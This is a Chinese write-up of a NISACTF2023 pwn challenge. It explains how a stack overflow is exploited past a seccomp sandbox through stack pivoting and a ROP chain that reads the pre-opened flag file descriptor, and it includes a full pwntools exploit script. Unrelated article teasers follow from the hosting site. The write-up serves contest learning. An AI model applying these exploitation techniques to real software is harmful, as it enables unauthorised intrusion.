NISACTF2023 WP

news2024/12/31 4:28:00

NISACTF2023 WP

前言

2年多没玩CTF了,pwn显得手生了不少,我的PWN环境已经在硬盘的某个角落里吃灰了。今天参加了一场校赛,捣鼓了一下午,Reverse和PWN都AK了。其实比赛是新手向,没啥难度,不过有道PWN设计的比较巧妙,got了两个tips,也就是今天将要分享的。

基本信息

在这里插入图片描述

64位程序,只开启了栈不可执行保护。

分析

在这里插入图片描述

显然漏洞点是栈溢出,能溢出的大小只有0x28字节。同时注意到程序开启了沙箱规则

在这里插入图片描述

禁止使用特定的系统调用 e x e c v e \textcolor{cornflowerblue}{execve} execve e x e c v e a t \textcolor{cornflowerblue}{execveat} execveat和某个范围内的指令。

已知flag在同目录下的flag文件里,并且程序中引用了 o p e n \textcolor{cornflowerblue}{open} open r e a d \textcolor{cornflowerblue}{read} read p u t s \textcolor{cornflowerblue}{puts} puts等函数,只要有这3个就足够了。

利用思路就是构造 R o p c h a i n 去读取 f l a g 到某个地址上,然后将其打印出来。 \textcolor{green}{利用思路就是构造Ropchain去读取flag到某个地址上,然后将其打印出来。} 利用思路就是构造Ropchain去读取flag到某个地址上,然后将其打印出来。

但是浅尝之后发现溢出的大小不足以构造这样的Ropchain,遂考虑进行栈迁移。通常使用栈迁移的gadgets l e a v e ; r e t \textcolor{orange}{leave;ret} leave;ret,我打算在bss段(0x4040E8+0x80)中重建新的栈。在栈迁移之前应该在新栈中就已布置好Ropchain,但是直接用常规的栈迁移方式同样受限于溢出的大小不足。

所以这里就出现了一个小tips,我们来看看 m a i n \textcolor{cornflowerblue}{main} main函数的汇编代码:

.text:00000000004012E0                                                 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004012E0                                                                 public main
.text:00000000004012E0                                                 main            proc near               ; DATA XREF: _start+21↑o
.text:00000000004012E0
.text:00000000004012E0                                                 buf             = byte ptr -40h
.text:00000000004012E0                                                 var_4           = dword ptr -4
.text:00000000004012E0
.text:00000000004012E0                                                 ; __unwind {
.text:00000000004012E0 F3 0F 1E FA                                                     endbr64
.text:00000000004012E4 55                                                              push    rbp
.text:00000000004012E5 48 89 E5                                                        mov     rbp, rsp
.text:00000000004012E8 48 83 EC 40                                                     sub     rsp, 40h
.text:00000000004012EC B8 00 00 00 00                                                  mov     eax, 0
.text:00000000004012F1 E8 7B FF FF FF                                                  call    init
.text:00000000004012F6 BE 00 00 00 00                                                  mov     esi, 0          ; oflag
.text:00000000004012FB 48 8D 3D 06 0D 00 00                                            lea     rdi, file       ; "flag"
.text:0000000000401302 B8 00 00 00 00                                                  mov     eax, 0
.text:0000000000401307 E8 E4 FD FF FF                                                  call    _open
.text:000000000040130C 89 45 FC                                                        mov     [rbp+var_4], eax
.text:000000000040130F 48 8D 3D FA 0C 00 00                                            lea     rdi, s          ; "We opened flag, no need to thank."
.text:0000000000401316 E8 85 FD FF FF                                                  call    _puts
.text:000000000040131B 48 8D 3D 10 0D 00 00                                            lea     rdi, aNowPleaseSignI ; "Now please sign in ~"
.text:0000000000401322 E8 79 FD FF FF                                                  call    _puts
.text:0000000000401327 48 8D 3D 19 0D 00 00                                            lea     rdi, format     ; ">> "
.text:000000000040132E B8 00 00 00 00                                                  mov     eax, 0
.text:0000000000401333 E8 78 FD FF FF                                                  call    _printf
.text:0000000000401338 48 8D 45 C0                                                     lea     rax, [rbp+buf]
.text:000000000040133C BA 68 00 00 00                                                  mov     edx, 68h ; 'h'  ; nbytes
.text:0000000000401341 48 89 C6                                                        mov     rsi, rax        ; buf
.text:0000000000401344 BF 00 00 00 00                                                  mov     edi, 0          ; fd
.text:0000000000401349 E8 72 FD FF FF                                                  call    _read
.text:000000000040134E B8 00 00 00 00                                                  mov     eax, 0
.text:0000000000401353 C9                                                              leave
.text:0000000000401354 C3                                                              retn
.text:0000000000401354                                                 ; } // starts at 4012E0
.text:0000000000401354                                                 main            endp

在**@line:27**,会将 [ r b p − 0 x 40 ] \textcolor{orange}{[rbp-0x40]} [rbp0x40]作为 r e a d \textcolor{cornflowerblue}{read} read读入的地址,这一处可以用来向新栈中布置Ropchain,然后再利用常规的栈迁移gadgets将旧的栈迁移到新的栈,这是我想说的第一个点。

例如,我想将旧的栈迁移到 0 x 4040 E 8 + 0 x 80 \textcolor{orange}{0x4040E8+0x80} 0x4040E8+0x80位置,在第一次溢出的时候将rbp的值覆盖为 0 x 4040 E 8 + 0 x 80 − 0 x 40 \textcolor{orange}{0x4040E8+0x80-0x40} 0x4040E8+0x800x40,返回地址覆盖为0x401338,这样我就相当于拥有0x68个有效溢出字节的能力了,而此前只有0x28个有效溢出字节。

这一步的payload:

pop_rdi_ret = 0x4013c3
pop_rsi_r15_ret = 0x4013c1
pop_rbx_ret=0x4011DD
leave_ret=0x40126f
puts_plt = 0x4010A4
printf_plt = 0x04010B4
read_plt = 0x4010C0
buf = 0x404060 
stack = 0x4040E8+0x80
pay1 = '\x00'*64+p64(stack)+p64(0x401338)
p.sendlineafter('>> ',pay1)

为了合理布局栈,需要通过调试确定执行完毕0x401353的指令后rsp的位置,首先输入一些垃圾值: ′ A ’ ∗ 0 x 10 \textcolor{orange}{'A’*0x10} A0x10

在这里插入图片描述

RSI指向的是 r e a d \textcolor{cornflowerblue}{read} read写入的地址此时的RSP指向的是即将ret的地址,两者差值0x48,所以这里可以理解为在输入0x48个字节之后就会覆盖返回地址。所以这第二次输入就可以构造正常的Ropchain了,不过这里需要舍弃 o p e n \textcolor{cornflowerblue}{open} open步骤,否则又超出0x68个字节了,同时还找不到合适的gadgetsrax的值传递到rdi寄存器中。正常的RopChain

fd=open('flag') // 需要省略这一步,因为加上这一步的gadgets,导致总的Ropchain长度超过0x68字节
read(fd,buf,n)
puts(buf)

省略的这一步可以用以下gadgets代替:

pay2=p64(pop_rdi_ret)+p64(3)

完整的Ropchain:

pay2=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(read_plt)+p64(pop_rdi_ret)+p64(buf)+p64(puts_plt)
pay2+=p64(pop_rbx_ret)+p64(0x404128-8)+p64(leave_ret)

原理是,回顾上面的main函数汇编代码,第一次运行程序的时候,在 @lin:18打开了flag文件,此时就会返回一个文件号,这个文件号是递增的,源程序只用了3个文件号:stdinstdoutstderr,分别对应012,所以flag的文件号就是3,在源程序没有退出前,这个文件号是一直有效的。这是我想说的第二点。

通过这样的方式完成了整个漏洞利用,并获取了flag。

完整EXP

from pwn import*

context.log_level = 1

local = True

if local:
    p = process('biexiangtao')
else:
    p = remote('10.144.00.228',34757)

pop_rdi_ret = 0x4013c3
pop_rsi_r15_ret = 0x4013c1
pop_rbx_ret=0x4011DD
leave_ret=0x40126f
puts_plt = 0x4010A4
printf_plt = 0x04010B4
read_plt = 0x4010C0
buf = 0x404060 
stack = 0x4040E8+0x80

pay1 = '\x00'*64+p64(stack)+p64(0x401338)
p.sendlineafter('>> ',pay1)
pay2=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_r15_ret)+p64(buf)+p64(0)+p64(read_plt)+p64(pop_rdi_ret)+p64(buf)+p64(puts_plt)
pay2+=p64(pop_rbx_ret)+p64(0x404128-8)+p64(leave_ret)

p.send(pay2)

p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/420715.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ChatGPT实战100例 - (02) 自动出PPT它不香么?

文章目录ChatGPT实战100例 - (02) 自动出PPT它不香么?一、需求与思路1. 需求:出个PPT,5分钟后要用2. 思路:生成markdown然后转化二、生成markdown语法的思维导图1. 问题2. 回答三、把markdown文本转换成PPTChatGPT实战100例 - (02…

STM32 gpio外部中断详解

什么是中断? 打断CPU执行正常的程序,转而处理紧急程序,然后返回原暂停的程序继续运行,就叫中断 中断的作用和意义 中断的意义:高效处理紧急程序,不会一直占用CPU资源 STM32 GPIO外部中断简图 NVIC 什么…

JSTL标签库

英文全称:Java Standard Tag Lib(Java标准的标签库) 使用目的:JSTL标签库通常结合EL表达式一起使用。目的是让JSP中的java代码消失。 使用位置:JSTL标签是写在JSP当中的,但实际上最终还是要执行对应的jav…

Ubuntu 开机启动 通过crontab定时器去检查脚本 实现

有个项目的程序需要实现开机启动 通过添加一个qmcy.service服务的方法 发现 确实执行脚本了 但是脚本的程序缺并没有起来 但是如果手动执行这个脚本 程序是能起来的 不知道为啥 没办法 网上搜了下 可以通过 crontab定时器去检查 程序是否启动 没启动的话去 执行对应的脚…

【毕业设计】基于程序化生成和音频检测的生态仿真与3D内容生成系统----程序化生成多图层地形贴图的算法设计

(2条消息) 【开发日志】2023.04 ZENO----Image Processing----CompositeCV、Composite2、Composite3_EndlessDaydream的博客-CSDN博客 (2条消息) 【开发日志】2023.04 ZENO----Image Processing----ImageEdit、EditRGB、EditHSV_EndlessDaydream的博客-CSDN博客 (2条消息) 【…

telegraf在iiot领域的基本应用(Modbus,OPC)

熟悉telegraf是因为influxdb缘故,当时telegraf主要是作为granfa监控的agent一环,很多文章有相关的介绍,但作为java开发对telegraf(go语言开发)也仅仅只是适用级别,这边文章也只讲到一些简单的应用。希望能帮…

<STM32>STM32CubeMX-CAN通信(扫描读取数据方式)(5)

<STM32>STM32CubeMX-CAN通信(扫描读取数据方式)(5) 本节主要讲解CAN通信的功能,主要采用扫面检测接收数据的方式; CAN的详细解说可参考《STM32F4XXX中文参考手册》,资料有…

CDH 之 Kerberos 安全认证和 Sentry 权限控制管理(一)

一、Kerberos 和 Sentry 概述 1.1 什么是 Kerberos Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。这个词又指麻省理工学院为这个协议开发的一套计算机软件。软件设计上采用客户端/服务器结构,…

java微服务商城高并发秒杀项目--011.授权规则和系统规则

授权规则在shop-order-server中新建RequestOriginParserDefinition.java,定义请求来源如何获取Component public class RequestOriginParserDefinition implements RequestOriginParser {Overridepublic String parseOrigin(HttpServletRequest request) {/*** 定义从请求的什么…

文本分类论文阅读

1.ChineseBERT: Chinese Pretraining Enhanced by Glyph and Pinyin Information(ACL2021) 字形嵌入根据汉字的不同字体获得,能够从视觉特征中捕捉汉字语义,拼音嵌入表征汉字的发音,解决了汉语中非常普遍的异义异义现…

四、vue基础-指令(一)、vscode代码片段

一、vscode代码片段 我们在前面联系Vue的过程中,有些代码片段是需要经常写的,我们再VSCode中我们可以生成一个代码片段,方便我们快速生成。VSCode中的代码片段有固定的格式,所以我们一般会借助于一个在线工具来完成。 具体步骤如…

01_什么是Uboot

目录 U-Boot简介 获取Uboot U-Boot初次编译 U-Boot烧写与启动 U-Boot简介 Linux系统要启动就必须需要一个bootloader程序(裸机程序),也就说芯片上电以后先运行一段bootloader程序。这段bootloader程序会先初始化DDR等外设,然后将Linux镜像从flash(NAND,NOR FLASH,SD,EMMC等…

【防止恶意用户注册】-- 手机在网状态 API 的防欺诈应用解析

简介 手机在网状态 API 支持传入手机号码,查询手机号在网状态,返回在网、在网不可用、不在网(销号/未启用/停机)等多种状态,查询手机号在网状态之后,可以根据具体的业务需求来进行不同的处理。 本文主要介…

EA的使用---文档的生成

EA中文档的自动生成 1.找到如下界面 2.选择第一个 3.设置存储的位置 4.点击Generate 5.查看生成的文档

ViT Vision Transformer进行猫狗分类

文章目录依赖准备数据集合残差结构PatchEmbed模块Attention模块MLPBlockVisionTransformer结构模型定义定义一个模型训练VISION TRANSFORMER简称ViT,是2020年提出的一种先进的视觉注意力模型,利用transformer及自注意力机制,通过一个标准图像…

【C++STL精讲】string的模拟实现

文章目录💐专栏导读💐文章导读🌷定义string类🌷构造函数🌷拷贝构造函数🌷赋值重载🌷析构函数🌷[]操作符重载🌷比较运算符重载🌷c_str、size、capacity&#x…

模板学堂|DataEase图表样式解析

DataEase开源数据可视化分析平台于2022年6月正式发布模板市场(https://dataease.io/templates/)。模板市场旨在为DataEase用户提供专业、美观、拿来即用的仪表板模板,方便用户根据自身的业务需求和使用场景选择对应的仪表板模板,并…

「VS」Visual Studio 常用小技巧

目录指定代码不编译设置选中项目为启动项代码区显示行号新建垂直文档组生成后将dll复制到指定目录指定代码不编译 说明:在项目开发时,有时候已经将代码加入到项目中,但有不想要编译时可以一下操作。 文件处右键→属性→常规→从生成中排除→选…

快速解决CentOS中yum下载慢的问题(更换成阿里云)

目录1、备份自带的YUM源2、下载新的yum源3、清除旧的 yum 缓存4、更新yum缓存4、查看更换的阿里云镜像的仓库是否生效。为了下载速度快,每次都要做好镜像的更改,既然次数多,懒得每次还来查资料,就自己写一篇博客加强自己的记忆。 …

Docker环境安装

Docker环境安装Docker简介Docker工作原理Docker的应用场景Docker 的优点CentOS Docker 安装与配置Docker 安装Docker 配置Docker容器概念Docker容器操作拉取镜像删除镜像容器相关命令创建并启动容器停止和恢复容器删除容器Docker简介 Docker 是一个开源的应用容器引擎&#xf…